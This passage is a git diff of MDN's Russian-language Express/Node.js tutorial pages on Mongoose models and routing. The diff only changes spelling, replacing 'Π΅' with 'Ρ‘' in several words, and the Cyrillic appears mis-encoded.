-<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ схСмы <code>Book</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/book.js</strong>. Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ΄ΠΎΠ±Π½Π° ΠΊΠΎΠ΄Ρƒ для ΠΌΠΎΠ΄Π΅Π»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Β β€” ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ схСма с рядом строковых ΠΏΠΎΠ»Π΅ΠΉ, с Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ свойством URL для получСния  URL ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠ½ΠΈΠ³, Π·Π°Ρ‚Π΅ΠΌ модСль экспортируСтся.</p>
+<p>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ схСмы <code>Book</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/book.js</strong>. Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° ΠΏΠΎΠ΄ΠΎΠ±Π½Π° ΠΊΠΎΠ΄Ρƒ для ΠΌΠΎΠ΄Π΅Π»ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Β β€” ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ схСма с рядом строковых ΠΏΠΎΠ»Π΅ΠΉ, с Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ свойством URL для получСния  URL ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠ½ΠΈΠ³, Π·Π°Ρ‚Π΅ΠΌ модСль экспортируСтся.</p>
<pre class="brush: js">var mongoose = require('mongoose');
@@ -682,12 +682,12 @@ module.exports = mongoose.model('Book', BookSchema);
<ul>
<li>author - это ссылка Π½Π° СдинствСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>Author</code>Β , ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт.</li>
- <li>genre (ΠΆΠ°Π½Ρ€) - ссылка Π½Π° массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>Genre</code>. Π­Ρ‚Π° модСль Π΅Ρ‰Π΅ Π½Π΅ объявлСна!</li>
+ <li>genre (ΠΆΠ°Π½Ρ€) - ссылка Π½Π° массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <code>Genre</code>. Π­Ρ‚Π° модСль Π΅Ρ‰Ρ‘ Π½Π΅ объявлСна!</li>
</ul>
<h3 id="МодСль_экзСмпляра_ΠΊΠ½ΠΈΠ³ΠΈ_BookInstance">МодСль экзСмпляра ΠΊΠ½ΠΈΠ³ΠΈ BookInstance</h3>
-<p>НаконСц, скопируйтС ΠΊΠΎΠ΄ схСмы <code>BookInstance</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/bookinstance.js</strong>. Π‘Ρ…Π΅ΠΌΠ°Β <code>BookInstance</code> прСдставляСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ экзСмпляр ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π½Π° врСмя, ΠΈ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступности экзСмпляров ΠΊΠ½ΠΈΠ³ΠΈ, ΠΎ Π΄Π°Ρ‚Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, ΠΎ дСталях вСрсии ΠΈΠ»ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π½ΠΎΠ³ΠΎ экзСмпляра.</p>
+<p>НаконСц, скопируйтС ΠΊΠΎΠ΄ схСмы <code>BookInstance</code>Β (ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅) Π² Ρ„Π°ΠΉΠ»Β <strong>./models/bookinstance.js</strong>. Π‘Ρ…Π΅ΠΌΠ°Β <code>BookInstance</code> прСдставляСт ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ экзСмпляр ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π½Π° врСмя, ΠΈ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступности экзСмпляров ΠΊΠ½ΠΈΠ³ΠΈ, ΠΎ Π΄Π°Ρ‚Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½Π½ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, ΠΎ дСталях вСрсии ΠΈΠ»ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π½ΠΎΠ³ΠΎ экзСмпляра.</p>
<pre class="brush: js">var mongoose = require('mongoose');
@@ -734,7 +734,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre>
<li>ЭкспортируйтС модСль.</li>
</ul>
-<h2 id="ВСстированиС_β€”_создаСм_элСмСнты_Π‘Π”">ВСстированиС β€” создаСм элСмСнты Π‘Π”</h2>
+<h2 id="ВСстированиС_β€”_создаём_элСмСнты_Π‘Π”">ВСстированиС β€” создаём элСмСнты Π‘Π”</h2>
<p>Π’ΠΎΡ‚ Ρ‚Π°ΠΊ. Π£ нас Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΅ΡΡ‚ΡŒ всС ΠΌΠΎΠ΄Π΅Π»ΠΈ для создания сайта!</p>
@@ -764,7 +764,7 @@ module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ познакомились с Π‘Π” ΠΈ ОРМ (ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-рСляционными модСлями) Π² систСмС Node/Express, ΡƒΠ·Π½Π°Π»ΠΈ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ схСмы ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ Mongoose. ΠœΡ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ эти знания ΠΏΡ€ΠΈΒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈΒ ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉΒ <code>Book</code>, <code>BookInstance</code>, <code>Author</code>Β ΠΈΒ <code>Genre</code> для Π²Π΅Π±-сайта <em>LocalLibrary</em>.</p>
-<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ испытали свои ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ создания ряда элСмСнтов (ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠ³ΠΎ скрипта). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим созданиС страниц, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ эти элСмСнты.</p>
+<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ испытали свои ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ создания ряда элСмСнтов (ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠ³ΠΎ скрипта). Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим созданиС страниц, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ эти элСмСнты.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/express_nodejs/routes/index.html b/files/ru/learn/server-side/express_nodejs/routes/index.html
index 14d65e989c..65169cf637 100644
--- a/files/ru/learn/server-side/express_nodejs/routes/index.html
+++ b/files/ru/learn/server-side/express_nodejs/routes/index.html
@@ -34,7 +34,7 @@ translation_of: Learn/Server-side/Express_Nodejs/routes
<p>Π’ <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅Β </a>ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈΒ ΠΌΠΎΠ΄Π΅Π»ΠΈΒ <em>Mongoose</em>Β  для взаимодСйствия с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ использовали (Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹ΠΉ) скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создал нСкоторыС исходныС записи библиотСки. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ½ΠΎΒ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ возмоТности для отобраТСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½Π° Π½Π°ΡˆΠΈΡ… страницах, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ URL-адрСса для получСния этих рСсурсов. Π—Π°Ρ‚Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ (ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ URL-адрСсов) ΠΈ прСдставлСния (ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹) для отобраТСния этих страниц.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚Β ΠΎΠ± основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΎΠ± элСмСнтах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ HTTP-запроса/ΠΎΡ‚Π²Π΅Ρ‚Π°. ΠšΡ€ΠΎΠΌΠ΅Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠΉ ΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ "ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹" - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠΎΠ΄ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ запросов ΠΎΡ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ фактичСски ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ запросы.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ° Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚Β ΠΎΠ± основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΎΠ± элСмСнтах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ HTTP-запроса/ΠΎΡ‚Π²Π΅Ρ‚Π°. ΠšΡ€ΠΎΠΌΠ΅Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΠΉ ΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β Π½Π° Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ "ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹" - Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π΄Π΅Π»ΡΡŽΡ‚ ΠΊΠΎΠ΄ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ запросов ΠΎΡ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ фактичСски ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ запросы.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΠΎΠ΄Π΅Π»ΠΈ ΡƒΠΆΠ΅ созданы, основныС элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слСдуСт ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ, Ρ‚Π°ΠΊΠΎΠ²Ρ‹:</p>
@@ -48,13 +48,13 @@ translation_of: Learn/Server-side/Express_Nodejs/routes
<p>Π’ ΠΈΡ‚ΠΎΠ³Π΅, Ρƒ нас Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒΒ ΡΡ‚Ρ€Π°Π½ΠΈΡ†Ρ‹ для Π²Ρ‹Π²ΠΎΠ΄Π° списков  ΠΈΒ  Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΠΏΠΎ ΠΊΠ½ΠΈΠ³Π°ΠΌ, ΠΆΠ°Π½Ρ€Π°ΠΌ, Π°Π²Ρ‚ΠΎΡ€Π°ΠΌΒ ΠΈ экзСмплярам книг, Π° Ρ‚Π°ΠΊΠΆΠ΅ страницы для создания, обновлСния ΠΈ удалСния записСй. Π­Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ для ΠΎΠ΄Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ большая Ρ‡Π°ΡΡ‚ΡŒ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π±ΡƒΠ΄Π΅Ρ‚ сосрСдоточСна Π½Π° настройкС Π½Π°ΡˆΠΈΡ… ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² ΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ² для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° "Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ" ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. ΠœΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ контроллСров для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… .</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠ΅ основы того,Β ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ промСТуточноС срСдство (middleware) Β Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a>. Π­Ρ‚ΠΈ знания Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΏΡ€ΠΈ настройкС  ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β Π΄Π»Ρ LocalLibrary.</p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠ΅ основы того,Β ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ промСТуточноС срСдство (middleware) Β Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a>. Π­Ρ‚ΠΈ знания Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΏΡ€ΠΈ настройкС  ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²Β Π΄Π»Ρ LocalLibrary.</p>
<h2 id="ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹_-_основы">ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ - основы</h2>
<p>ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ - это Ρ‡Π°ΡΡ‚ΡŒΒ ΠΊΠΎΠ΄Π°Β Express, ΡΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‰Π°ΡΒ HTTP дСйствия (<code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, etc.), URL ΠΏΡƒΡ‚ΠΈ (шаблона), ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Β ΡΡ‚ΠΎΡ‚Β ΡˆΠ°Π±Π»ΠΎΠ½.</p>
-<p>Π•ΡΡ‚ΡŒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ способов создания ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ². Π’ ΡΡ‚ΠΎΠΌΒ ΡƒΡ€ΠΎΠΊΠ΅Β ΠΌΡ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ запросы <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a>,</code>Β  Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ части сайта и ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ‰ΠΈΠΉ прСфикс ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.  ВсС ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, связанныС с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ, Π±ΡƒΠ΄ΡƒΡ‚ сохранСны Π²Β ΠΌΠΎΠ΄ΡƒΠ»Π΅ "catalog", ΠΈ Ссли ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… записСй ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΌΡ‹ смоТСм ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</p>
+<p>Π•ΡΡ‚ΡŒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ способов создания ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ². Π’ ΡΡ‚ΠΎΠΌΒ ΡƒΡ€ΠΎΠΊΠ΅Β ΠΌΡ‹Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Π΅ запросы <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a>,</code>Β  Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ² для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ части сайта и ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ‰ΠΈΠΉ прСфикс ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Π°.  ВсС ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, связанныС с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ, Π±ΡƒΠ΄ΡƒΡ‚ сохранСны Π²Β ΠΌΠΎΠ΄ΡƒΠ»Π΅ "catalog", ΠΈ Ссли ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… записСй ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΌΡ‹ смоТСм ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠœΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹ прилоТСния Express ΡƒΠΆΠ΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Π»ΠΈΡΡŒ Π² <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Creating_route_handlers">Express Introduction &gt; Creating route handlers</a>Β (Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ -&gt; Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΎΠ²).Β  ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ <em>Router </em>обСспСчиваСт Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ (ΠΊΠ°ΠΊ обсуТдаСтся Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ подсСкции Π½ΠΈΠΆΠ΅),Β Π° Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΌΒ 